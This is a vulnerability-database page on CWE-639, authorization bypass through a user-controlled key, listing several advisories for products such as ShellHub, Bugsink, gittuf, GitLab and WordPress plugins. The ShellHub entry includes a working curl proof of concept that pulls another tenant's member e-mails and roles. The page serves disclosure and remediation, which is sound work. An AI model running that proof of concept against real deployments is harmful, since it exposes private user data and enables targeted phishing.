Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3258 vulnerabilities reference this CWE, most recent first.

GHSA-VWX9-7QCF-GG7F

Vulnerability from github – Published: 2026-05-07 03:02 – Updated: 2026-05-14 20:43
VLAI
Summary
ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check
Details

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

```go var uid string if c.ID() != nil { uid = c.ID().ID }

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) }

if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } }

return c.JSON(http.StatusOK, ns) ```

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/ \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/ \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ```

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) }

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:02:28Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object \u2014 including the members list (user IDs, e-mails, roles), settings, and device counts \u2014 to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key\u0027s own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` \u2014 membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // \u26a0\ufe0f skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication \u2014 never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"attacker\",\"password\":\"...\"}\u0027 | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"name\":\"poc\",\"expires_at\":30}\u0027 | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles \u2192 user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** \u2014 enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil \u0026\u0026 c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```",
  "id": "GHSA-vwx9-7qcf-gg7f",
  "modified": "2026-05-14T20:43:26Z",
  "published": "2026-05-07T03:02:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check"
}

GHSA-VX2F-6M6H-9FRF

Vulnerability from github – Published: 2026-06-05 21:43 – Updated: 2026-06-05 21:43
VLAI
Summary
Bugsink: Issue event views can show an event from another project if its UUID is known
Details

Description

Bugsink issue event pages accept a direct event identifier from the URL and, in affected versions, look up that event without also requiring it to belong to the issue in the URL.

This is a project-boundary authorization issue: a logged-in user with access to one project can view another project’s event data through an issue they are allowed to access. However, the issue is mitigated by two factors. First, the attacker needs to already know a valid target event UUID; there is no event enumeration path here, and guessing UUIDs is not practical. Second, Bugsink is commonly self-hosted within a single trust domain, and Hosted Bugsink gives each tenant a separate Bugsink instance, so cross-project access does not normally imply cross-tenant access.

The affected views include the stacktrace, details, and breadcrumbs pages for an issue event.

This has been fixed by requiring direct event lookups to match both the authorized issue and the project.

Impact

Low-severity cross-project event data exposure, requiring authentication and prior knowledge of a valid event UUID.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bugsink"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T21:43:23Z",
    "nvd_published_at": "2026-05-26T17:16:52Z",
    "severity": "LOW"
  },
  "details": "### Description\n\nBugsink issue event pages accept a direct event identifier from the URL and, in affected versions, look up that event without also requiring it to belong to the issue in the URL.\n\nThis is a project-boundary authorization issue: a logged-in user with access to one project can view another project\u2019s event data through an issue they are allowed to access. However, the issue is mitigated by two factors. First, the attacker needs to already know a valid target event UUID; there is no event enumeration path here, and guessing UUIDs is not practical. Second, Bugsink is commonly self-hosted within a single trust domain, and Hosted Bugsink gives each tenant a separate Bugsink instance, so cross-project access does not normally imply cross-tenant access.\n\nThe affected views include the stacktrace, details, and breadcrumbs pages for an issue event.\n\nThis has been fixed by requiring direct event lookups to match both the authorized issue and the project.\n\n### Impact\nLow-severity cross-project event data exposure, requiring authentication and prior knowledge of a valid event UUID.",
  "id": "GHSA-vx2f-6m6h-9frf",
  "modified": "2026-06-05T21:43:23Z",
  "published": "2026-06-05T21:43:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-vx2f-6m6h-9frf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47715"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bugsink/bugsink"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugsink/bugsink/releases/tag/2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bugsink: Issue event views can show an event from another project if its UUID is known"
}

GHSA-VXGR-VW7P-4H7X

Vulnerability from github – Published: 2025-02-20 12:31 – Updated: 2026-04-08 21:33
VLAI
Details

The Prime Addons for Elementor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0.1 via the pae_global_block shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract information from posts that are not public, including drafts, private, password protected, and restricted posts. This applies to posts created with Elementor only.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-20T10:15:11Z",
    "severity": "MODERATE"
  },
  "details": "The Prime Addons for Elementor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0.1 via the pae_global_block shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract information from posts that are not public, including drafts, private, password protected, and restricted posts. This applies to posts created with Elementor only.",
  "id": "GHSA-vxgr-vw7p-4h7x",
  "modified": "2026-04-08T21:33:02Z",
  "published": "2025-02-20T12:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13855"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3244276/prime-addons-for-elementor/trunk/includes/global-blocks/class-global-blocks.php"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/prime-addons-for-elementor/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac5012f2-3518-41c0-befe-597008f22152?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXRF-W6G3-6QR9

Vulnerability from github – Published: 2022-04-26 00:00 – Updated: 2022-05-05 00:00
VLAI
Details

Non Privilege User can Enable or Disable Registered in GitHub repository openemr/openemr prior to 6.1.0.1.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-25T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Non Privilege User can Enable or Disable Registered in GitHub repository openemr/openemr prior to 6.1.0.1.",
  "id": "GHSA-vxrf-w6g3-6qr9",
  "modified": "2022-05-05T00:00:40Z",
  "published": "2022-04-26T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1461"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openemr/openemr/commit/3af1f4a28a8df0e446043232214ed08cc8e0889d"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/690a8ec5-64fc-4180-9f1f-c3c599bae0a9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXVC-CG7J-RWQJ

Vulnerability from github – Published: 2026-05-07 03:34 – Updated: 2026-05-14 20:54
VLAI
Summary
gittuf's policy can be rolled back to prior valid versions
Details

Summary

An attacker with push access to gittuf's Reference State Log (RSL) can roll back the current policy to any previous policy trusted by the current set of root keys.

Impact

gittuf determines the policy to load by inspecting the RSL. Except for the very first policy (which is automatically trusted given gittuf's TOFU model, or verified against manually specified keys), whenever an RSL entry that points to a new policy is encountered, gittuf validates that this policy is trusted. This is done by checking that the new policy’s root metadata is signed by the required threshold of the current policy's root keys.

Because of this, an attacker with push access to the RSL may create a new entry that references an old policy (that is trusted by the most recent policy's set of root keys), thereby rolling back gittuf's policy to the attacker's chosen state.

Note that the attacker cannot roll back the policy to one that would no longer be trusted by the most recent policy's root keys. As an example, say that Policy A's root keys were for Alice and Bob with a threshold of two, and then Policy B replaced Bob with Carol, with a threshold of two required. An attacker would not be able to roll back the policy to policy A, because it was signed by Alice and Bob, not Alice and Carol.

If you host your repository on a forge such as GitHub, GitLab, Bitbucket, etc., and only certain people are allowed to push to the RSL (e.g. only maintainers of your project have push access to the repository, and all other contributions must be done via pull request), then only those users with push access can perform the attack, or the forge itself.

Fix

gittuf version v0.14.0 introduces a monotonically increasing number to all policy metadata (not to be confused with the metadata version, which dictates the features supported by the metadata). This number is incremented whenever a gittuf client of version v0.14.0 or greater updates the metadata or invokes a patch command to add this field.

During policy verification, gittuf compares the monotonically increasing number of the new policy it encounters in the RSL to the current policy. If any file in the policy (e.g. root of trust, primary policy file, or delegated policy file) has this number, gittuf will check that it increases by one any time the respective file is changed.

Resolution

Upgrade gittuf and Apply Metadata Patch

gittuf strongly recommends users upgrade to the latest version to remediate this vulnerability. Specifically, gittuf version v0.14.0 (and above) are patched with respect to this vulnerability. All users who use gittuf to verify the repository or update its policy metadata must upgrade to prevent this attack.

After a consuming application applies the upgrade, a root of trust user or policy administrator must run:

gittuf trust increment-version

or:

gittuf policy increment-version

to add the monotonically increasing number field to the metadata (see Fix above).

Check for Rollback Attack Attempts

Because this attack requires the attacker to add an entry to the RSL, and because gittuf stores the RSL inside the repository, this attack cannot be performed without leaving evidence behind (in this case, the malicious RSL entry). To check for whether this attack was performed on your repository, run:

gittuf rsl log --ref refs/gittuf/policy

All RSL entries that record new policy states for gittuf should be displayed. There should be one RSL entry every time a legitimate, new policy was applied. Should users find an RSL entry which points to an older policy state, their repository has been compromised.

Credits

gittuf thanks Andrew Nesbitt (@andrew) for finding and responsibly disclosing this vulnerability.

Severity
6.0 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.13.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gittuf/gittuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:34:13Z",
    "nvd_published_at": "2026-05-14T18:16:50Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAn attacker with push access to gittuf\u0027s Reference State Log (RSL) can roll back the current policy to any previous policy trusted by the current set of root keys.\n\n## Impact\n\ngittuf determines the policy to load by inspecting the RSL. Except for the very first policy (which is automatically trusted given gittuf\u0027s TOFU model, or verified against manually specified keys), whenever an RSL entry that points to a new policy is encountered, gittuf validates that this policy is trusted. This is done by checking that the new policy\u2019s root metadata is signed by the required threshold of the current policy\u0027s root keys.\n\nBecause of this, an attacker with push access to the RSL may create a new entry that references an old policy (that is trusted by the most recent policy\u0027s set of root keys), thereby rolling back gittuf\u0027s policy to the attacker\u0027s chosen state.\n\nNote that the attacker cannot roll back the policy to one that would no longer be trusted by the most recent policy\u0027s root keys. As an example, say that Policy A\u0027s root keys were for Alice and Bob with a threshold of two, and then Policy B replaced Bob with Carol, with a threshold of two required. An attacker would not be able to roll back the policy to policy A, because it was signed by Alice and Bob, not Alice and Carol.\n\nIf you host your repository on a forge such as GitHub, GitLab, Bitbucket, etc., and only certain people are allowed to push to the RSL (e.g. only maintainers of your project have push access to the repository, and all other contributions must be done via pull request), then only those users with push access can perform the attack, or the forge itself.\n\n## Fix\n\ngittuf version v0.14.0 introduces a monotonically increasing number to all policy metadata (not to be confused with the metadata version, which dictates the features supported by the metadata). This number is incremented whenever a gittuf client of version v0.14.0 or greater updates the metadata or invokes a patch command to add this field.\n\nDuring policy verification, gittuf compares the monotonically increasing number of the new policy it encounters in the RSL to the current policy. If any file in the policy (e.g. root of trust, primary policy file, or delegated policy file) has this number, gittuf will check that it increases by one any time the respective file is changed.\n\n## Resolution\n\n### Upgrade gittuf and Apply Metadata Patch\n\ngittuf strongly recommends users upgrade to the latest version to remediate this vulnerability. Specifically, gittuf version v0.14.0 (and above) are patched with respect to this vulnerability. All users who use gittuf to verify the repository or update its policy metadata must upgrade to prevent this attack.\n\nAfter a consuming application applies the upgrade, a root of trust user or policy administrator must run:\n\n```\ngittuf trust increment-version\n```\n\nor:\n```\ngittuf policy increment-version\n```\n\nto add the monotonically increasing number field to the metadata (see [Fix](#fix) above).\n\n### Check for Rollback Attack Attempts\n\nBecause this attack requires the attacker to add an entry to the RSL, and because gittuf stores the RSL inside the repository, this attack cannot be performed without leaving evidence behind (in this case, the malicious RSL entry). To check for whether this attack was performed on your repository, run:\n\n```\ngittuf rsl log --ref refs/gittuf/policy\n```\n\nAll RSL entries that record new policy states for gittuf should be displayed. There should be one RSL entry every time a legitimate, new policy was applied. Should users find an RSL entry which points to an older policy state, their repository has been compromised.\n\n## Credits\n\ngittuf thanks Andrew Nesbitt (@andrew) for finding and responsibly disclosing this vulnerability.",
  "id": "GHSA-vxvc-cg7j-rwqj",
  "modified": "2026-05-14T20:54:36Z",
  "published": "2026-05-07T03:34:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gittuf/gittuf/security/advisories/GHSA-vxvc-cg7j-rwqj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gittuf/gittuf/commit/dd76efa505f9137a4a9a625c5ac67b333365a1b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gittuf/gittuf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gittuf\u0027s policy can be rolled back to prior valid versions"
}

GHSA-W2FH-2F5M-C69G

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43
VLAI
Details

In Kanboard before 1.0.47, by altering form data, an authenticated user can add an internal link to a private project of another user.

Severity
4.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-15206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-11T01:32:00Z",
    "severity": "MODERATE"
  },
  "details": "In Kanboard before 1.0.47, by altering form data, an authenticated user can add an internal link to a private project of another user.",
  "id": "GHSA-w2fh-2f5m-c69g",
  "modified": "2022-05-13T01:43:41Z",
  "published": "2022-05-13T01:43:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/commit/074f6c104f3e49401ef0065540338fc2d4be79f0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/commit/3e0f14ae2b0b5a44bd038a472f17eac75f538524"
    },
    {
      "type": "WEB",
      "url": "https://kanboard.net/news/version-1.0.47"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2017/10/04/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W2GG-FJFH-G555

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

In Vanilla before 2.6.1, the polling functionality allows Insecure Direct Object Reference (IDOR) via the Poll ID, leading to the ability of a single user to select multiple Poll Options (e.g., vote for multiple items).

Severity
4.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-15833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-26T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In Vanilla before 2.6.1, the polling functionality allows Insecure Direct Object Reference (IDOR) via the Poll ID, leading to the ability of a single user to select multiple Poll Options (e.g., vote for multiple items).",
  "id": "GHSA-w2gg-fjfh-g555",
  "modified": "2022-05-13T01:19:12Z",
  "published": "2022-05-13T01:19:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15833"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/326434"
    },
    {
      "type": "WEB",
      "url": "https://open.vanillaforums.com/discussion/36559"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/viperbluff/status/1033067882941304832"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/viperbluff/status/1033640333890834433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W2H2-67GF-FG28

Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2023-01-24 21:30
VLAI
Details

In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.838 to 0.9.8.846, remote attackers can bypass authentication in the login process by leveraging the knowledge of a valid username. The attacker must defeat an encoding that is not equivalent to base64, and thus this is different from CVE-2019-13360.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-13605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-16T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.838 to 0.9.8.846, remote attackers can bypass authentication in the login process by leveraging the knowledge of a valid username. The attacker must defeat an encoding that is not equivalent to base64, and thus this is different from CVE-2019-13360.",
  "id": "GHSA-w2h2-67gf-fg28",
  "modified": "2023-01-24T21:30:33Z",
  "published": "2022-05-24T16:50:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13605.md"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/47123"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/153665/CentOS-Control-Web-Panel-0.9.8.836-Authentication-Bypass.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W2M3-H5QG-M4MX

Vulnerability from github – Published: 2025-10-02 15:31 – Updated: 2026-06-06 09:31
VLAI
Details

Use of Hard-coded Credentials, Authorization Bypass Through User-Controlled Key vulnerability in PosCube Hardware Software and Consulting Ltd. Co. Assist allows Excavation, Authentication Bypass.This issue affects Assist: through 10.02.2025.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-02T13:15:30Z",
    "severity": "MODERATE"
  },
  "details": "Use of Hard-coded Credentials, Authorization Bypass Through User-Controlled Key vulnerability in PosCube Hardware Software and Consulting Ltd. Co. Assist allows Excavation, Authentication Bypass.This issue affects Assist: through 10.02.2025.",
  "id": "GHSA-w2m3-h5qg-m4mx",
  "modified": "2026-06-06T09:31:14Z",
  "published": "2025-10-02T15:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0642"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0309"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-25-0309"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W2RM-X498-V7F9

Vulnerability from github – Published: 2024-05-23 12:31 – Updated: 2024-05-23 12:31
VLAI
Details

An authorization vulnerability exists within GitLab from versions 16.10 before 16.10.6, 16.11 before 16.11.3, and 17.0 before 17.0.1 where an authenticated attacker could utilize a crafted naming convention to bypass pipeline authorization logic.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-5258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T11:15:24Z",
    "severity": "MODERATE"
  },
  "details": "An authorization vulnerability exists within GitLab from versions 16.10 before 16.10.6, 16.11 before 16.11.3, and 17.0 before 17.0.1 where an authenticated attacker could utilize a crafted naming convention to bypass pipeline authorization logic.",
  "id": "GHSA-w2rm-x498-v7f9",
  "modified": "2024-05-23T12:31:02Z",
  "published": "2024-05-23T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5258"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/443254"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list